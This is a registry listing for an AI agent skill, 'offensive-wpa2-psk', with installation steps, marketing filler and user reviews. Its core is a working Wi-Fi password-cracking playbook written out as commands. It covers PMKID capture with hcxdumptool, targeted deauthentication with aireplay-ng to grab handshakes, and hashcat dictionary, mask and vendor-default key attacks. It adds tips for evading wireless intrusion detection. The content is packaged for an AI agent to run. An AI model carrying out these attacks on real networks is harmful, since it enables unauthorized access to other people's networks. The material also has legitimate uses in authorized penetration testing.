Agent skill / SnailSploit
### offensive-wpa2-psk
Core file
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-wpa2-pskExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-wpa2-pskFetches offensive-wpa2-psk from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate offensive-wpa2-psk. Access via /offensive-wpa2-pskin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Copy the command for your terminal
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-wpa2-pskWorks with
| name | offensive-wpa2-psk |
| description | "WPA/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool / hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default-PSK generators (UPC, Sky, BT, etc.), 802.11r FT key cracking, opportunistic key cache analysis, and signal-level optimization. Use when the in-scope network is WPA/WPA2 Personal — the most common consumer/SMB encryption mode." |
The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).
offensive-wifi-recon)The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed.
# Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 \
--filterlist_ap=targets.txt --filtermode=2
# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
targets.txt contains BSSIDs (one per line) you're authorized to attack.
If hash.hc22000 is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.
# Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
If a client is associated:
# Targeted deauth (single client, low volume)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
The handshake will appear in airodump's top-right corner as WPA handshake: AA:BB:CC:DD:EE:FF.
Why one client at a time: broadcast deauth (no -c) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.
hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines
If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
Useful wordlists:
rockyou.txt (classic)weakpass_3 / weakpass_4 (huge breach corpus)crackstation.txt# 10 digits (common ISP default — UPC, Vodafone, etc.)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# 8 digits (D-Link, ZTE)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# 8 hex (some Belkin / Linksys)
hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h
# Phone number patterns
hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms:
# UPC-XXXXXXX → upc_keys generates candidate keys
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
# Check vendor-specific tools per router brand
If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format.
# Show recommended workload tuning per GPU
hashcat -b -m 22000
# Distributed cracking via hashtopolis or naive split
hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000
When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam — bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air.
| Signal | Defender View |
|---|---|
| Deauth burst | WIDS rule: >N deauth/sec with malformed reason codes |
| PMKID flood (hcxdumptool default sends many association requests) | WIDS rule: rapid associations from a single MAC |
| Monitor-mode interface | Some enterprise WIDS deployments fingerprint adjacent monitor radios |
To minimize: PMKID with --filtermode=2 (only target your authorized list), single targeted deauth bursts, randomize source MAC between captures.
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# 2. PMKID sweep first
echo "AA:BB:CC:DD:EE:FF" > targets.txt
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
# 3. Convert + try crack
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
# 4. If empty PMKID, do four-way capture
sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon
# 5. Convert + crack
hcxpcapngtool -o hash.hc22000 cap-01.cap
hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule
# 6. Mask attacks if dictionary fails
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
Solid pick for teams standardizing on skills: offensive-wpa2-psk is focused, and the summary matches what you get after install.
offensive-wpa2-psk has been reliable in day-to-day use. Documentation quality is above average for community skills.
I recommend offensive-wpa2-psk for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
offensive-wpa2-psk reduced setup friction for our internal harness; good balance of opinion and flexibility.
offensive-wpa2-psk is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
We added offensive-wpa2-psk from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
offensive-wpa2-psk fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
Registry listing for offensive-wpa2-psk matched our evaluation — installs cleanly and behaves as described in the markdown.
Keeps context tight: offensive-wpa2-psk is the kind of skill you can hand to a new teammate without a long onboarding doc.
offensive-wpa2-psk fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
showing 1-10 of 53